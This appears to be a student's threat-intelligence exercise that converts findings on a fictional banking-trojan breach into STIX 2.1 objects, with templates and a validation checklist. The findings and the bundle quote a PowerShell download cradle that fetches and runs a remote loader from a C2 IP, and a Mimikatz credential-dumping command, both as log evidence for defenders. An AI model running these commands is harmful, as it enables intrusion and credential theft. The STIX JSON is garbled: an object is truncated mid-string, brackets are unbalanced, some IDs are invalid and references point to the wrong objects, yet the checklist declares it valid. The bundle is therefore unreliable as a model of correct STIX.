

Raul Austero Varias Jr.
Batch 20 – AMA University Inc.

File 1: Intelligence Findings to Translate into STIX

This is the "manual intelligence find" you will convert to STIX.

INTELLIGENCE FINDINGS - SILENTBANKER RBM BREACH
SOURCE: CTI Analyst Investigation (Days 1-9)
DATE OF FINDINGS: 2026-04-23
FORMAT: Plain text (to be translated to STIX 2.1)

FINDING 1: MALWARE FAMILY

Name: SilentBanker
Type: Banking Trojan
Description: SilentBanker is a banking trojan that steals credentials and financial data from infected systems. It uses PowerShell download cradles, Mimikatz for credential dumping, and HTTPS for C2 communication.
First Seen: 2026-03-25
Last Seen: 2026-04-23

FINDING 2: INDICATORS OF COMPROMISE (IoCs)

IOC-1: IP Address
Value: 185.143.223.115
Type: C2 Server
Confidence: High (100%)
Valid From: 2026-03-25
Description: Primary C2 server in Belarus (AS6699)

IOC-2: IP Address
Value: 185.143.223.116
Type: C2 Server (Backup)
Confidence: High (95%)
Valid From: 2026-04-11
Description: Backup C2 server, same AS6699

IOC-3: Domain
Value: banking-update-service.com
Type: C2 Domain
Confidence: High (100%)
Valid From: 2026-04-01
Description: Primary C2 domain, resolves to 185.143.223.115

IOC-4: Domain
Value: swift-message-check.net
Type: C2 Domain (Backup)
Confidence: High (95%)
Valid From: 2026-04-11
Description: Backup C2 domain

IOC-5: URL

Value: <http://185.143.223.115/update.dat>

Type: Payload URL

Confidence: High (100%)

Valid From: 2026-03-25

Description: SilentBanker loader download

IOC-6: URL

Value: <http://185.143.223.115/mimikatz.exe>

Type: Tool Download

Confidence: High (100%)

Valid From: 2026-03-26

Description: Mimikatz download URL

IOC-7: Domain (Phishing)

Value: rbmsupport.com

Type: Phishing Domain

Confidence: High (95%)

Valid From: 2026-03-28

Description: Typosquat of regionalbankmidlands.com

IOC-8: Filename

Value: SecurityPatch.exe

Type: Malicious Attachment

Confidence: High (90%)

Valid From: 2026-03-25

Description: Initial loader executable

IOC-9: Filename

Value: Invoice.exe

Type: Malicious Attachment

Confidence: High (90%)

Valid From: 2026-04-01

Description: Alternate loader executable

IOC-10: File Hash (MD5)

Value: a1b2c3d4e5f6789012345678901234ab

Type: Loader Hash

Confidence: High (85%)

Valid From: 2026-03-25

Description: MD5 hash of SecurityPatch.exe

IOC-11: File Hash (MD5)

Value: b2c3d4e5f6789012345678901234ab12

Type: Payload Hash

Confidence: High (80%)

Valid From: 2026-03-25

Description: MD5 hash of update.dat

IOC-12: File Hash (SHA256)

Value: 3f5c9e2a1b4d8f7e6c3a9b2d4f1e8c7a6b5d4f3e2c1a9b8c7d6e5f4a3b2c1d0

Type: Loader Hash (SHA256)

Confidence: High (85%)

Valid From: 2026-04-01
Description: SHA256 hash of SilentBanker loader

FINDING 3: THREAT ACTOR

Name: SilentTrader
Type: Cybercriminal
Motivation: Financial
First Seen: 2026-03-15 (on Exploit.in forum)
Description: Operates on dark web forums selling C2 infrastructure. Implied responsibility for RBM breach via forum post with ";)" response. Aliases: None confirmed
Country: Unknown (likely Eastern Europe based on hosting)

FINDING 4: ATTACK PATTERNS (TTPs from MITRE ATT&CK)

TTP-1: Phishing: Spearphishing Attachment (T1566.001)
Description: Adversary sent phishing emails with malicious .exe attachments

TTP-2: Command and Scripting Interpreter: PowerShell (T1059.001)
Description: Adversary used PowerShell for download cradles and file compression

TTP-3: OS Credential Dumping: LSASS Memory (T1003.001)
Description: Adversary used Mimikatz to dump credentials from LSASS

TTP-4: Scheduled Task (T1053.005)
Description: Adversary created scheduled tasks for persistence

TTP-5: SMB/Windows Admin Shares (T1021.002)
Description: Adversary used PsExec for lateral movement

TTP-6: Exfiltration Over C2 Channel (T1041)
Description: Adversary exfiltrated 2.4 GB of data via HTTPS POST

FINDING 5: CAMPAIGN INFORMATION

Campaign Name: RBM SilentBanker Breach
Objective: Financial data theft (customer records, SWIFT credentials)
Start Date: 2026-03-25
End Date: 2026-04-15 (containment)
Target: Regional Bank of Midlands (RBM)
Data Exfiltrated: ~2.4 GB
Status: Contained

FINDING 6: VICTIM IDENTITY

Organization Name: Regional Bank of Midlands (RBM)
Sector: Financial Services / Banking
Country: United States
Asset Size: \$8.2 billion
Role in Incident: Victim of SilentBanker malware

FINDING 7: OBSERVED DATA (Specific Log Evidence)

Observation-1: Network Connection to C2
Timestamp: 2026-04-12T02:00:44Z
Source IP: 10.12.45.22 (internal victim)
Destination IP: 185.143.223.115
Destination Port: 443
Protocol: TCP
Bytes Out: 2,450,000 (exfiltration spike)

Observation-2: PowerShell Download
Timestamp: 2026-04-01T14:16:40Z
Host: 10.12.45.22
Command: powershell.exe -Command IEX(New-Object
Net.WebClient).DownloadString('http://185.143.223.115/loader.ps1')

Observation-3: Mimikatz Execution
Timestamp: 2026-04-02T02:30:44Z
Host: 10.12.45.22
Command: mimikatz.exe "sekurlsa::logonpasswords" exit

FINDING 8: COURSES OF ACTION (Mitigations)

COA-1: Block C2 IPs
Action: Block 185.143.223.115 and 185.143.223.116 at perimeter firewall
Priority: High

COA-2: Block C2 Domains
Action: DNS sinkhole or block banking-update-service.com, swift-message
check.net
Priority: High

COA-3: Search for File Hashes
Action: Hunt for MD5 hashes and SHA256 across endpoint detection tools
Priority: Medium

COA-4: Monitor PowerShell Downloads
Action: Alert on PowerShell commands downloading from external IPs/domains
Priority: Medium

COA-5: Restrict PsExec Usage
Action: Limit PsExec to authorized admin workstations only
Priority: Low (harder to implement)

File 2: STIX 2.1 Bundle Template

```
{
  "type": "bundle",
  "id": "bundle--f1a2b3c4-d5e6-4f7a-8b9c-0d1e2f3a4b5c",
  "spec_version": "2.1",
  "objects": [
    {
      "type": "malware",
      "id": "malware--2b3c4d5e-6f7a-4b8c-9d0e-1f2a3b4c5d6e",
      "spec_version": "2.1",
      "name": "SilentBanker",
```

```
    "description": "Banking trojan that steals credentials and financial data from infected systems. Uses PowerShell download cradles, Mimikatz for credential dumping, and HTTPS for C2 communication.",
    "malware_types": [
      "trojan"
    ],
    "is_family": false,
    "first_seen": "2026-03-25T00:00:00Z",
    "last_seen": "2026-04-23T00:00:00Z"
  },
  {
    "type": "threat-actor",
    "id": "threat-actor--3c4d5e6f-7a8b-4c9d-0e1f-2a3b4c5d6e7f",
    "spec_version": "2.1",
    "name": "SilentTrader",
    "description": "Cybercriminal operating on Exploit.in dark web forum. Sells C2 infrastructure for banking trojans. Implied responsibility for RBM breach via forum post with ';' response.",
    "threat_actor_types": [
      "cyber-criminal"
    ],
    "motivations": [
      "financial-gain"
    ],
    "first_seen": "2026-03-15T00:00:00Z"
  },
  {
    "type": "campaign",
    "id": "campaign--4d5e6f7a-8b9c-4d0e-1f2a-3b4c5d6e7f8a",
    "spec_version": "2.1",
    "name": "RBM SilentBanker Breach",
    "description": "SilentBanker banking trojan attack against Regional Bank of Midlands (RBM) resulting in theft of approximately 2.4 GB of customer financial records, SWIFT messages, and account data.",
    "objective": "Financial data theft",
    "first_seen": "2026-03-25T14:22:00Z",
    "last_seen": "2026-04-15T08:00:00Z"
  },
  {
    "type": "identity",
    "id": "identity--5e6f7a8b-9c0d-4e1f-2a3b-4c5d6e7f8a9b",
    "spec_version": "2.1",
    "name": "Regional Bank of Midlands",
    "description": "Regional financial institution with $8.2 billion in assets. Victim of SilentBanker banking trojan attack. Located in United States.",
    "identity_class": "organization",
    "sectors": [
      "financial-services"
    ],
    "country": "US"
  },
  {
    "type": "attack-pattern",
    "id": "attack-pattern--6f7a8b9c-0d1e-4f2a-3b4c-5d6e7f8a9b0c",
    "spec_version": "2.1",
    "name": "Phishing: Spearphishing Attachment",
    "description": "Adversary sent phishing emails with malicious .exe attachments (SecurityPatch.exe, Invoice.exe) to RBM employees.",
    "external_references": [
      {
        "source_name": "mitre-attack",
```

```

"external_id": "T1566.001",
"url": "https://attack.mitre.org/techniques/T1566/001/" }
],
{
  "type": "attack-pattern",
  "id": "attack-pattern--7a8b9c0d-1e2f-4a3b-4c5d-6e7f8a9b0c1d",
  "spec_version": "2.1",
  "name": "Command and Scripting Interpreter: PowerShell",
  "description": "Adversary used PowerShell for download cradles and file
compression.",
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1059.001",
      "url": "https://attack.mitre.org/techniques/T1059/001/" }
    ],
    {
      "type": "attack-pattern",
      "id": "attack-pattern--8b9c0d1e-2f3a-4b4c-5d6e-7f8a9b0c1d2e",
      "spec_version": "2.1",
      "name": "OS Credential Dumping: LSASS Memory",
      "description": "Adversary used Mimikatz to dump credentials from LSASS.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1003.001",
          "url": "https://attack.mitre.org/techniques/T1003/001/" }
        ],
        {
          "type": "attack-pattern",
          "id": "attack-pattern--9c0d1e2f-3a4b-4c5d-6e7f-8a9b0c1d2e3f",
          "spec_version": "2.1",
          "name": "Scheduled Task/Job: Scheduled Task",
          "description": "Adversary created scheduled tasks for persistence.",
          "external_references": [
            {
              "source_name": "mitre-attack",
              "external_id": "T1053.005",
              "url": "https://attack.mitre.org/techniques/T1053/005/" }
            ],
            {
              "type": "attack-pattern",
              "id": "attack-pattern--0d1e2f3a-4b5c-4d6e-7f8a-9b0c1d2e3f4a",
              "spec_version": "2.1",
              "name": "Remote Services: SMB/Windows Admin Shares",
              "description": "Adversary used PsExec for lateral movement.",
              "external_references": [
                {
                  "source_name": "mitre-attack",
                  "external_id": "T1021.002",
                  "url": "https://attack.mitre.org/techniques/T1021/002/" }
                ],
                {
                  "type": "attack-pattern",
                  "id": "attack-pattern--1e2f3a4b-5c6d-4e7f-8a9b-0c1d2e3f4a5b",

```

```

"spec_version": "2.1",
"name": "Exfiltration Over C2 Channel",
"description": "Adversary exfiltrated 2.4 GB of data via HTTPS POST.",
"external_references": [
  {
    "source_name": "mitre-attack",
    "external_id": "T1041",
    "url": "https://attack.mitre.org/techniques/T1041/"  }
  ],
  {
    "type": "observed-data",
    "id": "observed-data--ale2d3c4-b5a6-4f7e-8d9c-0b1a2c3d4e5f",
    "spec_version": "2.1",
    "first_observed": "2026-04-12T02:00:44Z",
    "last_observed": "2026-04-12T02:00:44Z",
    "number_observed": 1,
    "objects": {
      "0": {
        "type": "ipv4-addr",
        "value": "185.143.223.115"
      },
      "1": {
        "type": "ipv4-addr",
        "value": "10.12.45.22"
      },
      "2": {
        "type": "network-traffic",
        "src_ref": "1",
        "dst_ref": "0",
        "dst_port": 443,
        "protocols": [
          "tcp"
        ],
        "src_byte_count": 2450000
      }
    }
  },
  {
    "type": "observed-data",
    "id": "observed-data--b2f3e4d5-c6b7-4a8f-9e0d-1c2d3e4f5a6b",
    "spec_version": "2.1",
    "first_observed": "2026-04-01T14:16:40Z",
    "last_observed": "2026-04-01T14:16:40Z",
    "number_observed": 1,
    "objects": {
      "0": {
        "type": "process",
        "name": "powershell.exe",
        "command_line": "powershell.exe -Command IEX(New-Object
Net.WebClient).DownloadString('http://185.143.223.115/loader.ps1')
"      }
    }
  },
  {
    "type": "observed-data",
    "id": "observed-data--c3a4b5c6-d7e8-4f9a-0b1c-2d3e4f5a6b7c",
    "spec_version": "2.1",
    "first_observed": "2026-04-02T02:30:44Z",
    "last_observed": "2026-04-02T02:30:44Z",
    "number_observed": 1,

```

```
"objects": {
  "0": {
    "type": "process",
    "name": "mimikatz.exe",
    "command_line": "mimikatz.exe \"/>
```

```

"spec_version": "2.1",
"relationship_type": "targets",
"source_ref": "campaign--2b3c4d5e-6f7a-4b8c-9d0e-1f2a3b4c5d6e", "target_ref":
"identity--3c4d5e6f-7a8b-4c9d-0e1f-2a3b4c5d6e7f", "description": "The
SilentBanker Breach campaign targeted Regional Bank of Midlands (RBM).",
},
{
"type": "relationship",
"id": "relationship--e1c2d3e4-f5a6-4b7c-8d9e-0f1a2b3c4d5e",
"spec_version": "2.1",
"relationship_type": "mitigates",
"source_ref": "course-of-action--d4b5c6d7-e8f9-4a0b-1c2d-3e4f5a6b7c8d",
"target_ref": "indicator--4d5e6f7a-8b9c-4d0e-1f2a-3b4c5d6e7f8a", "description":
"COA-1 mitigates threats by blocking communication to identified C2 IP addresses."
},
{
"type": "relationship",
"id": "relationship--f2d3e4f5-a6b7-4c8d-9e0f-1a2b3c4d5e6f",
"spec_version": "2.1",
"relationship_type": "mitigates",
"source_ref": "course-of-action--a7e8f9a0-b1c2-4d3e-4f5a-6b7c8d9e0f1a",
"target_ref": "attack-pattern--7a8b9c0d-1e2f-4a3b-4c5d-6e7f8a9b0c1d",
"description": "COA-4 mitigates command-and-scripting interpreter risks by
monitoring PowerShell download cradles."
}
]

```

}File 3: STIX UUID Generation Guide - Use these patterns for consistent UUIDs.

STIX UUID FORMAT

All STIX IDs follow pattern: [object-type]--[UUIDv4]

Example: indicator--alb2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d

ASSIGNED UUIDs FOR THIS ACTIVITY (Use these for consistency)

Bundle ID: bundle--f1a2b3c4-d5e6-4f7a-8b9c-0d1e2f3a4b5c

Malware: malware--2b3c4d5e-6f7a-4b8c-9d0e-1f2a3b4c5d6e Threat Actor:
threat-actor--3c4d5e6f-7a8b-4c9d-0e1f-2a3b4c5d6e7f Campaign:
campaign--4d5e6f7a-8b9c-4d0e-1f2a-3b4c5d6e7f8a Identity (Victim):
identity--5e6f7a8b-9c0d-4e1f-2a3b-4c5d6e7f8a9b

Attack Patterns (TTPs):

```

- T1566.001: attack-pattern--6f7a8b9c-0d1e-4f2a-3b4c-5d6e7f8a9b0c -
T1059.001: attack-pattern--7a8b9c0d-1e2f-4a3b-4c5d-6e7f8a9b0c1d -
T1003.001: attack-pattern--8b9c0d1e-2f3a-4b4c-5d6e-7f8a9b0c1d2e -
T1053.005: attack-pattern--9c0d1e2f-3a4b-4c5d-6e7f-8a9b0c1d2e3f -
T1021.002: attack-pattern--0d1e2f3a-4b5c-4d6e-7f8a-9b0c1d2e3f4a - T1041:
attack-pattern--1e2f3a4b-5c6d-4e7f-8a9b-0c1d2e3f4a5b

```

Indicators (IoCs):

```

- IOC-1 (IP .115): indicator--2f3a4b5c-6d7e-4f8a-9b0c-1d2e3f4a5b6c -
IOC-2 (IP .116): indicator--3a4b5c6d-7e8f-4a9b-0c1d-2e3f4a5b6c7d -
IOC-3 (Domain): indicator--4b5c6d7e-8f9a-4b0c-1d2e-3f4a5b6c7d8e -
IOC-4 (Domain2): indicator--5c6d7e8f-9a0b-4c1d-2e3f-4a5b6c7d8e9f -
IOC-5 (URL): indicator--6d7e8f9a-0b1c-4d2e-3f4a-5b6c7d8e9f0a - IOC-6
(URL2): indicator--7e8f9a0b-1c2d-4e3f-4a5b-6c7d8e9f0a1b - IOC-7

```

(PhishDom): indicator--8f9a0b1c-2d3e-4f4a-5b6c-7d8e9f0a1b2c - IOC-8
(Filename): indicator--9a0b1c2d-3e4f-4a5b-6c7d-8e9f0a1b2c3d - IOC-9
(Filename2): indicator--0b1c2d3e-4f5a-4b6c-7d8e-9f0a1b2c3d4e - IOC-10
(MD5): indicator--1c2d3e4f-5a6b-4c7d-8e9f-0a1b2c3d4e5f - IOC-11
(MD5-2): indicator--2d3e4f5a-6b7c-4d8e-9f0a-1b2c3d4e5f6a - IOC-12
(SHA256): indicator--3e4f5a6b-7c8d-4e9f-0a1b-2c3d4e5f6a7b

Observed Data:

- Observed-1: observed-data--4f5a6b7c-8d9e-4f0a-1b2c-3d4e5f6a7b8c -
Observed-2: observed-data--5a6b7c8d-9e0f-4a1b-2c3d-4e5f6a7b8c9d -
Observed-3: observed-data--6b7c8d9e-0f1a-4b2c-3d4e-5f6a7b8c9d0e

Courses of Action:

- COA-1: course-of-action--7c8d9e0f-1a2b-4c3d-4e5f-6a7b8c9d0e1f - COA-2:
course-of-action--8d9e0f1a-2b3c-4d4e-5f6a-7b8c9d0e1f2a - COA-3:
course-of-action--9e0f1a2b-3c4d-4e5f-6a7b-8c9d0e1f2a3b - COA-4:
course-of-action--0f1a2b3c-4d5e-4f6a-7b8c-9d0e1f2a3b4c
- COA-5: course-of-action--1a2b3c4d-5e6f-4a7b-8c9d-0e1f2a3b4c5d

Relationships:

- Use relationship objects (will create in Step 8)

File 4: STIX Indicator Template - For each IoC, create an indicator object.

```
[
{
  "type": "indicator",
  "id": "indicator--2f3a4b5c-6d7e-4f8a-9b0c-1d2e3f4a5b6c",
  "spec_version": "2.1",
  "name": "SilentBanker C2 IP - 185.143.223.115",
  "description": "Primary C2 server for SilentBanker banking trojan. Hosted in Belarus on AS6699 bulletproof hosting. Observed in firewall logs, EDR telemetry, and OSINT feeds.",
  "pattern_type": "stix",
  "pattern": "[ipv4-addr:value = '185.143.223.115']",
  "valid_from": "2026-03-25T00:00:00Z",
  "confidence": 100,
  "labels": [
    "malicious-activity"
  ]
},
{
  "type": "indicator",
  "id": "indicator--3a4b5c6d-7e8f-4a9b-0c1d-2e3f4a5b6c7d",
```

```
"spec_version": "2.1",
"name": "SilentBanker C2 IP - 185.143.223.116",
"description": "Backup C2 server for SilentBanker banking trojan. Same AS6699 as primary. Identified via OSINT and dark web sources.",
"pattern_type": "stix",
"pattern": "[ipv4-addr:value = '185.143.223.116']",
"valid_from": "2026-04-11T00:00:00Z",
"confidence": 95,
"labels": [
  "malicious-activity"
],
},
{
  "type": "indicator",
  "id": "indicator--4b5c6d7e-8f9a-4b0c-1d2e-3f4a5b6c7d8e",
  "spec_version": "2.1",
  "name": "SilentBanker C2 Domain - banking-update-service.com",
  "description": "Primary C2 domain for SilentBanker. Registered 2026-04-15 via NameCheap. Resolves to 185.143.223.115.",
  "pattern_type": "stix",
  "pattern": "[domain-name:value = 'banking-update-service.com']",
  "valid_from": "2026-04-01T00:00:00Z",
  "confidence": 100,
  "labels": [
    "malicious-activity"
  ],
},
{
  "type": "indicator",
  "id": "indicator--4d5e6f7a-8b9c-4d0e-1f2a-3b4c5d6e7f8a",
  "spec_version": "2.1",
  "name": "IOC-4: C2 Domain swift-message-check.net",
  "description": "Secondary command-and-control domain associated with SilentTrader infrastructure.",
```

```
"pattern_type": "stix",
"pattern": "[domain-name:value = 'swift-message-check.net']",
"valid_from": "2026-04-01T00:00:00Z",
"confidence": 90,
"labels": [
  "malicious-activity"
],
"external_references": []
},
{
  "type": "indicator",
  "id": "indicator--5e6f7a8b-9c0d-1e2f-3a4b-5c6d7e8f9a0b",
  "spec_version": "2.1",
  "name": "IOC-5: Malicious Payload Download URL",
  "description": "URL hosted on C2 server used for pulling down initial malware update stage.",
  "pattern_type": "stix",
  "pattern": "[url:value = 'http://185.143.223.115/update.dat']",
  "valid_from": "2026-04-01T00:00:00Z",
  "confidence": 95,
  "labels": [
    "malicious-activity"
  ],
  "external_references": []
},
{
  "type": "indicator",
  "id": "indicator--6f7a8b9c-0d1e-2f3a-4b5c-6d7e8f9a0b1c",
  "spec_version": "2.1",
  "name": "IOC-6: Malicious Binary SecurityPatch.exe",
  "description": "Executable dropped during initial compromised session masquerading as a security patch.",
  "pattern_type": "stix",
  "pattern": "[file:name = 'SecurityPatch.exe']",
```

```
"valid_from": "2026-04-01T00:00:00Z",
"confidence": 85,
"labels": [
  "malicious-activity"
],
"external_references": []
},
{
  "type": "indicator",
  "id": "indicator--7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d",
  "spec_version": "2.1",
  "name": "IOC-7: SilentBanker Loader MD5 Hash",
  "description": "MD5 checksum of the initial SilentBanker staging binary.",
  "pattern_type": "stix",
  "pattern": "[file:hashes.MD5 = 'a1b2c3d4e5f6789012345678901234ab']",
  "valid_from": "2026-04-01T00:00:00Z",
  "confidence": 95,
  "labels": [
    "malicious-activity"
  ],
  "external_references": []
},
{
  "type": "indicator",
  "id": "indicator--8b9c0d1e-2f3a-4b5c-6d7e-8f9a0b1c2d3e",
  "spec_version": "2.1",
  "name": "IOC-8: SilentBanker Payload SHA256 Hash",
  "description": "SHA256 signature corresponding to the core SilentBanker banking trojan module.",
  "pattern_type": "stix",
  "pattern": "[file:hashes.SHA-256 = '3f5c9e2a1b4d8f7e6c3a9b2d4f1e8c7a6b5d4f3e2c1a9b8c7d6e5f4a3b2c1d0']"
,   "valid_from": "2026-04-01T00:00:00Z",
  "confidence": 95,
```

```
"labels": [
  "malicious-activity"
],
"external_references": []
},
{
  "type": "indicator",
  "id": "indicator--9c0d1e2f-3a4b-5c6d-7e8f-9a0b1c2d3e4f",
  "spec_version": "2.1",
  "name": "IOC-9: Phishing Email Address",
  "description": "Spoofed email address utilized during initial spear-phishing campaign.",
  "pattern_type": "stix",
  "pattern": "[email-addr:value = 'spoofed-sender@rbmsupport.com']",
  "valid_from": "2026-04-01T00:00:00Z",
  "confidence": 90,
  "labels": [
    "malicious-activity"
  ],
  "external_references": []
},
{
  "type": "indicator",
  "id": "indicator--0d1e2f3a-4b5c-6d7e-8f9a-0b1c2d3e4f5a",
  "spec_version": "2.1",
  "name": "IOC-10: PowerShell Dropper Script loader.ps1",
  "description": "Stager script fetched remotely to execute memory-only payload components.",
  "pattern_type": "stix",
  "pattern": "[file:name = 'loader.ps1']",
  "valid_from": "2026-04-01T00:00:00Z",
  "confidence": 85,
  "labels": [
    "malicious-activity"
```

```
],
"external_references": []
},
{
"type": "indicator",
"id": "indicator--1e2f3a4b-5c6d-7e8f-9a0b-1c2d3e4f5a6b",
"spec_version": "2.1",
"name": "IOC-11: C2 Combined IP and Domain Pair",
"description": "Combined pattern matching simultaneous IP and domain resolution for high-fidelity detection.",
"pattern_type": "stix",
"pattern": "[ipv4-addr:value = '185.143.223.115'] AND [domain-name:value = 'banking-update-service.com']",
"valid_from": "2026-04-01T00:00:00Z",
"confidence": 95,
"labels": [
"malicious-activity"
],
"external_references": []
},
{
"type": "indicator",
"id": "indicator--2f3a4b5c-6d7e-8f9a-0b1c-2d3e4f5a6b7c",
"spec_version": "2.1",
"name": "IOC-12: Secondary C2 IPv4 Address",
"description": "Secondary command-and-control server IP address identified during infrastructure tracking.",
"pattern_type": "stix",
"pattern": "[ipv4-addr:value = '185.143.223.116']",
"valid_from": "2026-04-01T00:00:00Z",
"confidence": 90,
"labels": [
"malicious-activity"
],
```

```
"external_references": []  
}  
]
```

File 5: Other SDO Templates

Malware Template:

```
{  
  "type": "malware",  
  "id": "[malware UUID]",  
  "spec_version": "2.1",  
  "name": "SilentBanker",  
  "description": "Banking trojan that steals credentials and financial data",  
  "malware_types": ["trojan"],  
  "is_family": false,  
  "first_seen": "2026-03-25T00:00:00Z",  
  "last_seen": "2026-04-23T00:00:00Z"  
}
```

Threat Actor Template:

```
{  
  "type": "threat-actor",  
  "id": "[threat actor UUID]",  
  "spec_version": "2.1",  
  "name": "SilentTrader",  
  "description": "Cybercriminal operating on dark web forums, selling C2  
infrastructure and conducting banking trojan attacks",  
  "threat_actor_types": ["cyber-criminal"],  
  "motivations": ["financial-gain"],  
  "first_seen": "2026-03-15T00:00:00Z"  
}
```

Campaign Template:

```
{  
  "type": "campaign",  
  "id": "[campaign UUID]",  
  "spec_version": "2.1",  
  "name": "RBM SilentBanker Breach",  
  "description": "SilentBanker banking trojan attack against Regional Bank of  
Midlands resulting in theft of 2.4 GB of financial data",  
  "objective": "Financial data theft",  
  "first_seen": "2026-03-25T14:22:00Z",  
  "last_seen": "2026-04-15T08:00:00Z"  
}
```

Identity (Victim) Template:

```
{  
  "type": "identity",  
  "id": "[identity UUID]",  
  "spec_version": "2.1",
```

```
    "name": "Regional Bank of Midlands",
    "description": "Regional financial institution with $8.2B assets, victim of SilentBanker attack",
    "identity_class": "organization",
    "sectors": ["financial-services"]
}
```

Attack Pattern Template:

```
{
  "type": "attack-pattern",
  "id": "[attack pattern UUID]",
  "spec_version": "2.1",
  "name": "Phishing: Spearphishing Attachment",
  "description": "Adversary sent phishing email with malicious attachment",
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1566.001",
      "url": "https://attack.mitre.org/techniques/T1566/001/" }
  ]
}
```

Observed Data Template:

```
{
  "type": "observed-data",
  "id": "[observed data UUID]",
  "spec_version": "2.1",
  "first_observed": "[timestamp]",
  "last_observed": "[timestamp]",
  "number_observed": 1,
  "objects": {
    "0": {
      "type": "ipv4-addr",
      "value": "185.143.223.115"
    },
    "1": {
      "type": "network-traffic",
      "src_ref": "2",
      "dst_ref": "0",
      "protocols": ["tcp"]
    }
  }
}
```

Course of Action Template:

```
{
  "type": "course-of-action",
  "id": "[COA UUID]",
  "spec_version": "2.1",
  "name": "[Action name]",
  "description": "[Detailed mitigation description]"
}
```

Relationship Template:

```
{
  "type": "relationship",
  "id": "[relationship UUID]",
  "spec_version": "2.1",
  "relationship_type": "[type]",
  "source_ref": "[SDO ID of source]",
  "target_ref": "[SDO ID of target]",
  "description": "[Brief description of relationship]"
}
```

File 6: STIX Validation Checklist - Complete this after building your bundle.

STIX 2.1 VALIDATION CHECKLIST
 Analyst: Raul Austero Varias JR.
 Date: September 21, 2026

SECTION 1: BUNDLE STRUCTURE

```
[/] Bundle has "type": "bundle"
[/] Bundle has "spec_version": "2.1"
[/] Bundle has "id" with UUID
[/] Bundle has "objects" array (not empty)
```

SECTION 2: REQUIRED SDOs PRESENT

```
[/] Malware (SilentBanker)
[/] Threat Actor (SilentTrader)
[/] Campaign (RBM SilentBanker Breach)
[/] Identity (Victim - RBM)
[/] Attack Patterns (minimum 3 of the 6 TTPs)
[/] Indicators (all 12 IoCs from File 1)
[/] Observed Data (minimum 1)
[/] Courses of Action (minimum 2)
[/] Relationships (minimum 5 connecting SDOs)
```

SECTION 3: INDICATOR VALIDATION

For each indicator:

```
[/] Has "type": "indicator"
[/] Has valid UUID (indicator--...)
[/] Has "pattern_type": "stix"
[/] Has valid STIX pattern syntax
[/] Has "valid_from" in ISO format
[/] Has "confidence" between 0-100
[/] Has "labels" array (contains "malicious-activity")
```

SECTION 4: RELATIONSHIP VALIDATION

```
[/] Each relationship has "type": "relationship"
[/] Each relationship has valid "relationship_type" [/]
"source_ref" and "target_ref" point to existing SDOs in bundle [/]
Relationship UUIDs are unique
```

SECTION 5: TIMESTAMP FORMAT VALIDATION

All timestamps use format: YYYY-MM-DDTHH:MM:SSZ

Examples from bundle:

[/] [Your timestamp 1]

[/] [Your timestamp 2]

[/] [Your timestamp 3]

SECTION 6: EXTERNAL REFERENCES VALIDATION (Attack Patterns)

[/] Each attack pattern has external_references to MITRE ATT&CK

[/] External reference includes "source_name": "mitre-attack"

[/] External reference includes "external_id" (e.g., T1566.001)

SECTION 7: FINAL VALIDATION

Total SDOs in bundle: 40

Total Relationships in bundle: 8

JSON syntax valid (no missing commas/brackets): Yes

All UUIDs unique: Yes

Overall STIX 2.1 Compliance: [PASS/FAIL]